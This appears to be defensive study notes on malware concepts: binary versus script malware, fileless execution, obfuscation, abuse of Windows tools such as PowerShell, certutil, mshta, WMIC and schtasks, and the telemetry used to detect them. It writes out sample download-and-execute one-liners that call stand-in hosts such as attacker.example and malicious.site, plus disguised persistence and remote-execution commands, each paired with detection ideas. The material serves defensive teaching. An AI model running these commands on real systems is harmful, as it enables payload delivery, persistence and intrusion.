Malware Concepts

Malware can appear as compiled binaries, scripts, fileless payloads, or abuse of legitimate operating system tools.

For defenders, the important question is not only what the malware file is, but also how it executes, persists, downloads payloads, hides, and abuses trusted tools.

Binary vs Script-Based Malware

Malware commonly appears in two broad forms:

Type	Description	Common Examples
Binary malware	Compiled executable code	`.exe`, `.dll`, `.elf`
Script-based malware	Interpreted code run by another program	`.ps1`, `.bat`, `.js`, `.vbs`, `.sh`

Both can be dangerous, but they behave differently from a detection perspective.

Binary Malware

Binary malware is compiled from a programming language such as C, C++, Go, Rust, or Delphi into machine code.

Common formats:

.exe
.dll
.elf
.sys

Typical traits:

Runs directly on the target OS.
Has a stable file structure once compiled.
Can be identified with cryptographic hashes.
Often contains imports, sections, resources, and embedded strings.
Can be analyzed with static and dynamic malware analysis tools.

Binary Malware Detection

Common binary indicators:

Indicator	Use
MD5 / SHA256 hash	Identify exact file
Import hash	Cluster related PE samples
YARA strings	Detect unique strings or byte patterns
PE sections	Detect packed or abnormal files
File metadata	Compiler, timestamp, resources
Behavior logs	Detect execution, network, persistence

A filename can change without changing the hash.

Example:

invoice.exe
safe.doc.exe
update.exe

If the file content is identical, the hash stays the same.

Script-Based Malware

Script-based malware is interpreted by another program.

Common interpreters:

powershell.exe
cmd.exe
wscript.exe
cscript.exe
mshta.exe
bash
python
node

Common formats:

.ps1
.bat
.cmd
.vbs
.js
.sh
.py

Why Script Malware Is Harder to Detect

Script malware is easy to change.

Attackers can alter:

Variable names
Whitespace
Encoding
Comments
String construction
Download URLs
Command order

Even a one-character change changes the file hash.

This makes hash-only detection weak for script-based malware.

Fileless Execution

Script malware can run code directly in memory.

Example pattern:

IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')

Why this matters:

The payload may never be written to disk.
Traditional file scanning may miss it.
Detection depends on command-line logging, script block logging, memory analysis, and network telemetry.

Common Malicious Script Behaviors

Behavior	Examples
Downloading payloads	`Invoke-WebRequest`, `curl`, `wget`
In-memory execution	`IEX`, reflection, encoded commands
Defense evasion	Disable Defender, bypass execution policy
Obfuscation	Base64, XOR, string splitting
Persistence	Scheduled tasks, run keys, cron
Credential theft	Browser data, tokens, LSASS access

Simple Downloader Example

A noisy batch downloader may look like this:

@echo off
powershell -Command "Invoke-WebRequest http://malicious.site/payload.exe -OutFile C:\Users\Public\payload.exe"
start C:\Users\Public\payload.exe

Detection ideas:

powershell.exe spawned by cmd.exe
Download to C:\Users\Public
Execution shortly after download
Network connection to rare domain

Suspicious PowerShell One-Liner

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"

Suspicious flags and terms:

Token	Meaning
`-nop`	No profile
`-w hidden`	Hidden window
`-c`	Execute command
`IEX`	Invoke-Expression
`DownloadString`	Download script into memory

IEX is especially dangerous because it executes a string as code.

Obfuscation

Obfuscation hides malware logic from humans and basic detections.

Common methods:

Base64 encoding
String splitting
Character arrays
XOR encryption
Compression
Random variable names
Reordering code
Reflection-based execution

Example indicators:

-EncodedCommand
FromBase64String
IEX
[Reflection.Assembly]::Load

Case Study Pattern: Stealer Scripts

Modern stealers often use layered scripts.

Typical flow:

Large encoded blob
  -> decoding function
  -> in-memory loader
  -> credential/browser/token theft
  -> exfiltration

Defensive focus:

Detect the loader behavior.
Capture the command line.
Decode script blocks.
Review network connections.
Identify persistence changes.
Extract IOCs from decoded payloads.

Living Off The Land

Living Off The Land attacks use legitimate tools already present on the operating system.

These tools are often called LOLBins.

The attacker avoids dropping obvious malware and instead abuses trusted binaries for:

Execution
Downloading
Decoding
Persistence
Lateral movement
Defense evasion

Why LOTL Is Dangerous

LOTL is effective because:

The tools are signed and trusted.
Admins use the same tools legitimately.
Static antivirus may not flag them.
Blocking them completely can break operations.
Detection must focus on behavior and context.

The key question becomes:

Is this legitimate tool being used in an abnormal way?

Common Windows LOLBins

Tool	Common Abuse
PowerShell	Fileless execution, download cradles
WMIC	Remote process execution, recon
Certutil	Download files, encode/decode Base64
MSHTA	Execute HTA/JScript/VBScript
Rundll32	Execute DLLs or proxy execution
Schtasks	Persistence via scheduled tasks

PowerShell Abuse

PowerShell is heavily abused because it can:

Download remote content
Execute code in memory
Access .NET
Run encoded payloads
Automate system administration
Bypass basic restrictions

Suspicious flags:

-NoProfile
-NoP
-WindowStyle Hidden
-W Hidden
-ExecutionPolicy Bypass
-Exec Bypass
-EncodedCommand
-enc

Suspicious keywords:

IEX
Invoke-Expression
DownloadString
Invoke-WebRequest
Net.WebClient
FromBase64String
Reflection.Assembly

Certutil Abuse

Certutil is a legitimate certificate utility.

Attackers abuse it to download or decode payloads.

Download example:

certutil -urlcache -split -f "http://attacker.example/payload.exe" C:\Users\Public\payload.exe

Decode example:

certutil -decode encoded.txt payload.exe

Detection focus:

-urlcache
-split
-f
-decode
-encode

WMIC Abuse

WMIC can create processes locally or remotely.

Remote execution pattern:

wmic /node:TARGETHOST process call create "powershell -NoP -Command ..."

Detection focus:

wmic.exe
/node:
process call create
Remote host targeting
PowerShell or cmd launched by WMIC

MSHTA Abuse

MSHTA executes HTML Applications.

Attackers use it to run remote or inline scripts.

Suspicious patterns:

mshta http://attacker.example/payload.hta
mshta "javascript:..."

Detection focus:

mshta.exe making network connections
javascript: in command line
vbscript: in command line
Office spawning MSHTA

Rundll32 Abuse

Rundll32 executes exported DLL functions.

Suspicious patterns:

rundll32.exe C:\Users\Public\evil.dll,EntryPoint

Detection focus:

DLLs loaded from user-writable directories
Rundll32 with strange command lines
Rundll32 making network connections
Office or browser spawning Rundll32

Suspicious locations:

C:\Users\Public\
C:\Users\<user>\AppData\Local\Temp\
C:\Windows\Temp\
Downloads

Scheduled Task Abuse

Attackers use scheduled tasks for persistence.

Example:

schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell -NoP ..."

Detection focus:

schtasks.exe /Create
Event ID 4698
Tasks with suspicious names
Tasks executing scripts from Temp/Public
Tasks running PowerShell or cmd

LOTL Detection Strategy

Strong detections rely on context.

Look for:

Suspicious parent-child process relationships
Dangerous command-line arguments
Network connections from unusual binaries
Execution from user-writable directories
Encoded or obfuscated commands
Scheduled task creation
Script interpreters launched by Office documents
LOLBins launched by web server processes

Suspicious Parent-Child Examples

Parent	Child	Why Suspicious
`winword.exe`	`powershell.exe`	Possible macro execution
`excel.exe`	`cmd.exe`	Possible malicious document
`w3wp.exe`	`cmd.exe`	Possible web shell
`apache.exe`	`powershell.exe`	Possible server compromise
`wmic.exe`	`powershell.exe`	Possible remote execution
`mshta.exe`	`powershell.exe`	Script proxy execution

Useful Telemetry

Source	Use
Security Event ID 4688	Process creation
Sysmon Event ID 1	Process creation with command line
Sysmon Event ID 3	Network connection
Sysmon Event ID 7	Image loaded
Sysmon Event ID 11	File created
Event ID 4698	Scheduled task created
PowerShell Event ID 4104	Script block logging

Mitigation Ideas

Enable PowerShell Script Block Logging.
Enable process command-line logging.
Use Sysmon or EDR.
Restrict PowerShell where possible.
Use AppLocker or WDAC.
Monitor C:\Users\Public, Temp, and Downloads.
Block Office child process abuse where possible.
Review scheduled task creation.
Alert on suspicious LOLBin arguments.

Quick Reference

Malware Concept	Defensive Focus
Binary malware	Hashes, YARA, PE metadata, behavior
Script malware	Command line, interpreter usage, script logs
Fileless execution	PowerShell logs, memory, network
Obfuscation	Decode script blocks, look for suspicious tokens
LOTL	Context, arguments, parent-child relationships
Persistence	Tasks, run keys, services, startup folders

Notes to Remember

Binary malware is easier to hash exactly.
Script malware is easier to mutate.
Fileless attacks reduce disk artifacts.
IEX, DownloadString, and -EncodedCommand are major PowerShell warning signs.
LOTL detection depends on how a trusted binary is used, not just that it ran.